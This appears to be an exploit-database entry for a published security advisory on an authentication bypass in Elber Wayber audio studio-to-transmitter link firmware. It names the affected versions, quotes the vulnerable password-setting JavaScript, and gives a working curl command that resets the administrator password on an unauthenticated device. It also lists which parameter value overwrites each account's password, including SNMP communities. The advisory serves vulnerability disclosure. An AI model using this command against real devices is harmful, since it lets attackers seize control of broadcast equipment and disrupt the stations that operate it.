[webapps] Elber Wayber Analog/Digital Audio STL 4.00 - Authentication Bypass

Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass Vendor: Elber S.r.l. Product web page: https://www.elber.it Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501) Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516) Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516) Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501) Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350) Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342) Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131) Summary: Wayber II is the name of an analogue/digital microwave link able to transport a Mono or a MPX stereo signal from studio to audio transmitter. Compact and reliable, it features very high quality and modern technology both in signal processing and microwave section leading to outstanding performances. Desc: The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device's system security. -------------------------------------------------------------------------- /modules/pwd.html ------------------ 50: function apply_pwd(level, pwd) 51: { 52: $.get("json_data/set_pwd", {lev:level, pass:pwd}, 53: function(data){ 54: //$.alert({title:'Operation',text:data}); 55: show_message(data); 56: }).fail(function(error){ 57: show_message('Error ' + error.status, 'error'); 58: }); 59: } -------------------------------------------------------------------------- Tested on: NBFM Controller embOS/IP Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2024-5822 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php 18.08.2023 -- $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234 Ref (lev param): Level 7 = SNMP Write Community (snmp_write_pwd) Level 6 = SNMP Read Community (snmp_read_pwd) Level 5 = Custom Password? hidden. (custom_pwd) Level 4 = Display Password (display_pwd)? Level 2 = Administrator Password (admin_pwd) Level 1 = Super User Password (puser_pwd) Level 0 = User Password (user_pwd)